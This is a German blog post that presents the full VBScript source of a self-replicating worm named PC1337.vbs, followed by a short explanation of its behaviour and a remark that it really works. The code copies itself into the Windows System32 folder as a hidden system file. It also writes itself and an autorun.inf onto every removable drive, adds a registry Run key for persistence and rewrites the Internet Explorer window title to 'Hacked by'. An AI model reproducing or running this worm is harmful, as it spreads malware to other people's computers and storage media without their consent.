wirehack7

Heute mal ein Beispielcode eines Wurms welcher sich automatisch verbreitet und den Internet Explorer ändert.

 Visual Basic | 
 copy code |
?
 
01
'Mutation of Trojan virus.
02
'My name is PC1337.vbs
03
On error resume next
04
Dim mysource, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd,
05
                oldname, newname, rgname
06
Set fs = createobject ("Scripting.FileSystemObject")
07
Set wn = WScript.CreateObject ("WScript.Network")
08
Set mf = fs.getfile (Wscript.ScriptFullname)
09
oldname = CStr (fs.getfilename (Wscript.ScriptFullname))
10
newname = wn.ComputerName & ".vbs"
11
rgname = Replace (newname, ".vbs", "")
12
atr = "[autorun]" & vbcrlf & "shellexecute=wscript.exe PC1337.vbs"
13
dim text, size
14
size = mf.size
15
check = mf.drive.drivetype
16
Set text = mf.openastextstream (1, -2)
17
do while not text.atendofstream
18
        mysource = mysource & text.readline
19
        mysource = mysource & vbcrlf
20
Loop
21
mysource = Replace (mysource, oldname, newname)
22
do
23
        Set winpath = fs.getspecialfolder (0)
24
        Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
25
        tf.attributes = 32
26
        Set tf = fs.createtextfile (winpath & "\SYSTEM32\" & newname, 2, true)
27
        tf.write mysource
28
        tf.close
29
        Set tf = fs.getfile (winpath & "\SYSTEM32\" & newname)
30
        tf.attributes = 39
31
For each flashdrive in fs.drives
32
        If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and
33
                        flashdrive.path <> "A:" Then
34
                Set tf = fs.getfile (flashdrive.path & "\PC1337.vbs")
35
                tf.attributes = 32
36
                Set tf = fs.createtextfile (flashdrive.path & "\PC1337.vbs",
37
                                2, true)
38
                tf.write mysource
39
                tf.close
40
                Set tf = fs.getfile (flashdrive.path & "\PC1337.vbs")
41
                tf.attributes = 39
42
 
43
                Set tf = fs.getfile (flashdrive.path & "\autorun.inf")
44
                tf.attributes = 32
45
                Set tf = fs.createtextfile (flashdrive.path & "\autorun.inf",
46
                                2, true)
47
                tf.write atr
48
                tf.close
49
                Set tf = fs.getfile (flashdrive.path & "\autorun.inf")
50
                tf.attributes = 39
51
        End If
52
next
53
Set rg = createobject ("WScript.Shell")
54
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" &
55
                rgname & "", winpath & "\SYSTEM32\" & newname
56
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",
57
                "Hacked by " & Replace (oldname, ".vbs", "")
58
        if check <> 1 then
59
                Wscript.sleep 120000
60
        End if
61
loop while check <> 1
62
Set sd = createobject ("Wscript.shell")
63
sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

Was macht das Script also nun? Es gibt sich Rechte für Dateioperatoren und Netzwerke, dann versucht es sich auf jeden Datenträger zu schreiben. Dabei ändert es seinen Namen zu dem Computernamen auf dem es läuft. Danach wird der Quelltext in eine Variable geschrieben. Das VBS-Skript kopiert sich nun in das system32 Verzeichnis von Windows und gibt sich Dateiattribute, somit wird es als Systemdatei anerkannt. Nun schreibt es sich auf jeden Datenträger, sei es ein USB-Stick oder eine Diskette. Dabei wird auch eine autorun.inf angelegt welche das Skript beim einlegen des Datenträgers startet. Nun ändert das Skript den Titelrahmen des Internet-Explorers mit ‘Hacked by’. Dann wird 120 Sekunden gewartet bis sich das Skript erneut startet.
Ich bitte um Vorsicht dabei, es funktioniert wirklich (ein ANtivirenprogramm dürfe aber Alarm schlagen).